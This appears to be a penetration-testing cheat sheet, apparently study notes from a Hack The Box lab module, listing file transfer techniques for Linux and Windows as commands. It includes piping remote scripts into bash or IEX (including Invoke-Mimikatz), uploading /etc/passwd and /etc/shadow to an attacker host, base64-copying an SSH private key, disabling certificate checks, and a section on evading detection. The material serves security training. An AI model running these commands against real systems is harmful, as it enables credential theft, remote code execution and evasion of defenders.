# File Transfers

## Download Operations

## Terminal String Copy & Paste

### Linux Encode Base64

{% code overflow="wrap" %}

```
cat id_rsa |base64 -w 0;echo
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FxnUA3lQv22eYNmG4Oaxd%2Fimage.png?alt=media&#x26;token=a53a05d5-f9bb-41d1-87ee-316f46eb4cd9" alt=""><figcaption></figcaption></figure>

### Windows Decode & Write Base64

{% code overflow="wrap" %}

```
[IO.File]::WriteAllBytes("C:\path\to\file", [Convert]::FromBase64String("BASE 64 STRING"))
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FnbJ6C34BxH8vAymjqaYr%2Fimage.png?alt=media&#x26;token=a0e6ac60-7825-44ac-9334-b3cf321f4693" alt=""><figcaption><p>cmd.exe has a maximum string length of 8,191 &#x26; powershell.exe has a maximum string length 2,147,483,647 characters</p></figcaption></figure>

## Web Downloads with Wget & cURL

### **Download a File Using wget**

{% code overflow="wrap" %}

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F44asMnHim6NVE1bbv0z1%2Fimage.png?alt=media&#x26;token=ed94afb3-0e80-44ba-b9ce-5321bbf28a76" alt=""><figcaption></figcaption></figure>

### **Fileless Download with wget**

{% code overflow="wrap" %}

```
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FPnXSAeESPUpL9ULSLlhP%2Fimage.png?alt=media&#x26;token=9d31db11-4d6d-4ebb-856e-179df2cca619" alt=""><figcaption></figcaption></figure>

### **Download a File Using cURL**

{% code overflow="wrap" %}

```
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FfqHNp41eKJzkj6O2zDve%2Fimage.png?alt=media&#x26;token=a19be308-0b6f-4df0-8ca5-2144881c512c" alt=""><figcaption></figcaption></figure>

### **Fileless Download with cURL**

{% code overflow="wrap" %}

```
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fuv15xKklkuL3cgM73lA2%2Fimage.png?alt=media&#x26;token=ae5873b5-af5f-4a98-83c8-425998f06a2f" alt=""><figcaption></figcaption></figure>

## Download with Bash (/dev/tcp)

### **Connect to the Target Webserver**

{% code overflow="wrap" %}

```
exec 3<>/dev/tcp/10.10.10.32/80
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FOGcH7IcegVc7Oj0mVAAN%2Fimage.png?alt=media&#x26;token=175152fa-c94b-4bd4-9e14-b047cdf47b01" alt=""><figcaption></figcaption></figure>

### **HTTP GET Request**

{% code overflow="wrap" %}

```
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F3qoDDGt6unv5Do4kwOqp%2Fimage.png?alt=media&#x26;token=5d07f413-5e12-45b8-b13a-fc93034e7517" alt=""><figcaption></figcaption></figure>

### **Print the Response**

{% code overflow="wrap" %}

```
cat <&3
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F34fgjy21i0wdc9t0fGW1%2Fimage.png?alt=media&#x26;token=4c4d0a03-6a9b-4728-b5df-6ad6512f3517" alt=""><figcaption></figcaption></figure>

## PowerShell Web Downloads

### **DownloadFile Method**

{% code overflow="wrap" %}

```
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F1tdQ7wBCw7uguqyQ5RTe%2Fimage.png?alt=media&#x26;token=e4f12af9-0590-4ed7-8226-97c2d8b28aa6" alt=""><figcaption></figcaption></figure>

### **DownloadString - Fileless Method**

{% code overflow="wrap" %}

```
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fax3aILMz9BptC9HbCMTO%2Fimage.png?alt=media&#x26;token=ece56d26-6407-4c20-8d29-e6f2da361214" alt=""><figcaption></figcaption></figure>

### **Invoke-WebRequest**

{% code overflow="wrap" %}

```
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F7fXcgMoIdm5ByWDrQADs%2Fimage.png?alt=media&#x26;token=ea9f6580-4310-4949-af5f-f714c0739adc" alt=""><figcaption><p>You can use the aliases <code>iwr</code>, <code>curl</code>, and <code>wget</code> instead of the <code>Invoke-WebRequest</code> full name</p></figcaption></figure>

### **Common Errors with PowerShell**

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FokZ0M490jy2rCashzU5F%2Fimage.png?alt=media&#x26;token=0297361b-70fb-4b83-9b9e-63e3648c595d" alt=""><figcaption><p>There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download. This can be bypassed using the parameter -UseBasicParsing</p></figcaption></figure>

{% code overflow="wrap" %}

```
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FIMhkIRxrNbGn4CuYGfhv%2Fimage.png?alt=media&#x26;token=76b6c5c9-3773-4d32-b2eb-1e9c8e3ba22b" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```powershell-session
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FvfJOhwwsKa880cjMmVSO%2Fimage.png?alt=media&#x26;token=b9b4bedd-0c4c-468c-8580-710b2ee92ce5" alt=""><figcaption><p>Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command</p></figcaption></figure>

{% code overflow="wrap" %}

```
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

{% endcode %}

## SMB Downloads

### **Create the SMB Server**

{% code overflow="wrap" %}

```
sudo impacket-smbserver share -smb2support /tmp/smbshare
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FP4LJNpna3fKcct37fD0h%2Fimage.png?alt=media&#x26;token=7508a2a6-c642-4a7d-92f5-241640478c9a" alt=""><figcaption></figcaption></figure>

### Copy a File from the SMB Server

{% code overflow="wrap" %}

```
copy \\192.168.220.133\share\nc.exe
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FVZtvXb0bi9RjimYxMNmz%2Fimage.png?alt=media&#x26;token=97e4f149-596c-464e-b8b5-1530a9a117fe" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FSmdFwoirprejnxnC6Px2%2Fimage.png?alt=media&#x26;token=8d18dda7-a245-4e74-be1a-0933bdd6adfb" alt=""><figcaption><p>New versions of Windows block unauthenticated guest access</p></figcaption></figure>

### **Create the SMB Server with Username & Password**

{% code overflow="wrap" %}

```
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fj2KtFRgZc14Hf0ivfY1i%2Fimage.png?alt=media&#x26;token=200d5589-df6b-452c-bdf2-27e7ab4f5d02" alt=""><figcaption></figcaption></figure>

### **Mount the SMB Server with Username and Password**

{% code overflow="wrap" %}

```
net use n: \\192.168.220.133\share /user:test test
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FG86FYaTBjpAzedUT77e5%2Fimage.png?alt=media&#x26;token=66889195-296e-4e95-9e02-5e59e1a58795" alt=""><figcaption><p>You can also mount the SMB server if you receive an error when you use <code>copy filename \\IP\sharename</code>.</p></figcaption></figure>

## FTP Downloads

### **Installing the FTP Server Python3 Module - pyftpdlib**

{% code overflow="wrap" %}

```
sudo pip3 install pyftpdlib
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Ft98KIWFvfOtQplX4XAk5%2Fimage.png?alt=media&#x26;token=b061832b-dfb6-4cb0-9e2b-4c106f890ad5" alt=""><figcaption></figcaption></figure>

### **Setting up a Python3 FTP Server**

{% code overflow="wrap" %}

```
sudo python3 -m pyftpdlib --port 21
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FUW0r7M2YKRnJPsDeiWqG%2Fimage.png?alt=media&#x26;token=2cf17aaf-745f-433f-8591-d662628836df" alt=""><figcaption></figcaption></figure>

### **Transfering Files from an FTP Server Using PowerShell**

{% code overflow="wrap" %}

```
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FgMCoCsiccZegIP47R3gb%2Fimage.png?alt=media&#x26;token=3ffe74ce-b8ea-4e21-bd86-5681d8cd7954" alt=""><figcaption></figcaption></figure>

### **Command File for FTP Client To Download File**

{% code overflow="wrap" %}

```
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FpAu5wAvEcosDtmNpJaa0%2Fimage.png?alt=media&#x26;token=b184ed57-eb89-44e2-96b8-302d30c02618" alt=""><figcaption><p>You may not have an interactive shell. If that's the case, we can create an FTP command file to download a file</p></figcaption></figure>

## Upload Operations

## Terminal String Copy & Paste

### Windows Encode & Write Base64

{% code overflow="wrap" %}

```
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FJrUGCcsJ4zSoWE1zzMC3%2Fimage.png?alt=media&#x26;token=bfbdb053-1318-465a-bf1e-e57d73a5fabe" alt=""><figcaption></figcaption></figure>

### Linux Decode Base64

{% code overflow="wrap" %}

```
echo Base64string | base64 -d > hosts
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F02DseHl23MR5AlX0NJDz%2Fimage.png?alt=media&#x26;token=77cedb67-c544-4a3d-b580-a4bd61ab907e" alt=""><figcaption></figcaption></figure>

## Web Uploads with cURL

{% code overflow="wrap" %}

```
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FaSvPkcPPwgm2pHBmP9q6%2Fimage.png?alt=media&#x26;token=b3e0f620-5ab4-4628-97ea-b02c55158ba0" alt=""><figcaption></figcaption></figure>

## PowerShell Web Uploads

### **Installing a Configured WebServer with Upload**

{% code overflow="wrap" %}

```
pip3 install uploadserver
```

{% endcode %}

```
python3 -m uploadserver
```

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FGsy7Ulp2DJ3Ea9U8ZArr%2Fimage.png?alt=media&#x26;token=f670fe5e-b7a9-4c21-82d7-e093d1566147" alt=""><figcaption></figcaption></figure>

### **PowerShell Script to Upload a File to Python Upload Server**

{% code overflow="wrap" %}

```
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

{% endcode %}

{% code overflow="wrap" %}

```
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FxBCqaEx5QSe1Lj6RDX6v%2Fimage.png?alt=media&#x26;token=e5684540-3164-4397-8365-14d8cfe1ffa0" alt=""><figcaption></figcaption></figure>

### PowerShell Base64 Web Upload

{% code overflow="wrap" %}

```
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
```

{% endcode %}

{% code overflow="wrap" %}

```
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FjGxlxpa2z6CqV8t0Z6fr%2Fimage.png?alt=media&#x26;token=a16c6c03-3295-4c61-a770-69dc500f1021" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
nc -lvnp 8000
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FLw5iohrhzrLLqP5lS4Ka%2Fimage.png?alt=media&#x26;token=fbd8e890-08a0-4ffc-b5d7-a0c4979e6a2c" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
echo <base64> | base64 -d -w 0 > hosts
```

{% endcode %}

## SMB Uploads

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F4RvJyyw5fyAzcu5emFNX%2Fimage.png?alt=media&#x26;token=9b1be470-9ed4-409f-8643-302c4db0255c" alt=""><figcaption><p>Commonly enterprises don't allow the SMB protocol (TCP/445). An alternative is to run SMB over HTTP with <code>WebDav</code>. When you use <code>SMB</code>, it will first attempt to connect using the SMB protocol, and if there's no SMB share available, it will try to connect using HTTP</p></figcaption></figure>

### **Installing WebDav Python modules**

{% code overflow="wrap" %}

```
sudo pip3 install wsgidav cheroot
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FlKdr8FKucVLlMEujw2qo%2Fimage.png?alt=media&#x26;token=f2821cec-7da0-4b0f-a0e8-b3a71c0d25d5" alt=""><figcaption></figcaption></figure>

### **Using the WebDav Python module**

{% code overflow="wrap" %}

```
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FbP6Aw96zuTf45SDj6RmH%2Fimage.png?alt=media&#x26;token=47b9dce3-b47b-408f-902a-7c47bac53a3e" alt=""><figcaption></figcaption></figure>

### **Connecting to the Webdav Share**

{% code overflow="wrap" %}

```
dir \\192.168.49.128\DavWWWRoot
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FdO5fkFicUXvZqKm9g2zb%2Fimage.png?alt=media&#x26;token=7912a757-733b-44fb-b37b-ae3aef095af8" alt=""><figcaption><p>DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \192.168.49.128\sharefolder</p></figcaption></figure>

### **Uploading Files using SMB**

{% code overflow="wrap" %}

```
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
```

{% endcode %}

{% code overflow="wrap" %}

```
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FAo7Lqx4vLQSqtnt1CWUc%2Fimage.png?alt=media&#x26;token=2d576a81-97bd-48e9-8bf9-8e06ef63d9de" alt=""><figcaption><p>If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.</p></figcaption></figure>

### FTP Uploads

```
sudo python3 -m pyftpdlib --port 21 --write
```

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FmfXiCqU9rtL4asWn8EVn%2Fimage.png?alt=media&#x26;token=07fbd57d-4c7e-43ac-a1de-3a5f547d638f" alt=""><figcaption><p> You need to specify the option <code>--write</code> to allow clients to upload files to our attack host</p></figcaption></figure>

### **PowerShell Upload File**

{% code overflow="wrap" %}

```
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fbn8yUsGm55ZHKWf7VdXx%2Fimage.png?alt=media&#x26;token=750c21e9-ebfc-45d1-85ab-b4bb19fd7511" alt=""><figcaption></figcaption></figure>

### **Command File for FTP Client to Upload File**

{% code overflow="wrap" %}

```
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fc7YYHHbCPprP8P2pnOwH%2Fimage.png?alt=media&#x26;token=4f7c3009-abb3-4afe-8e4d-acc19df3c132" alt=""><figcaption></figcaption></figure>

## **Mounting a Linux Folder With RDP**

### **Mounting Using rdesktop**

{% code overflow="wrap" %}

```
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FWiy73QnGMxamMjyhntKB%2Fimage.png?alt=media&#x26;token=8724f2c9-70ef-42d3-a252-97563c0518b2" alt=""><figcaption></figcaption></figure>

### **Mounting Using xfreerdp**

{% code overflow="wrap" %}

```
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FRo7DX2BLzUnkZMl9Aigq%2Fimage.png?alt=media&#x26;token=e0328c55-2990-49ac-ba6c-c05a69a28b0e" alt=""><figcaption></figcaption></figure>

## Evading Detection

### **Listing out User Agents**

{% code overflow="wrap" %}

```
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FrXkiUqGvULUrP7UayeYC%2Fimage.png?alt=media&#x26;token=141382df-c2e8-4bfc-b1d5-e0b30bff71b0" alt=""><figcaption></figcaption></figure>

### **Request with Chrome User Agent**

{% code overflow="wrap" %}

```
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
```

{% endcode %}

{% code overflow="wrap" %}

```
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FBNXVLoLgOy5MvZ6zMxbz%2Fimage.png?alt=media&#x26;token=cba223be-1495-4045-bb50-8ebef7556102" alt=""><figcaption></figcaption></figure>

### **Transferring File with GfxDownloadWrapper.exe**

{% code overflow="wrap" %}

```
GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FUsnXG2xQJRdkig1gloBT%2Fimage.png?alt=media&#x26;token=cc9507e8-9891-4ec4-ad18-a12cc0cf6163" alt=""><figcaption></figcaption></figure>
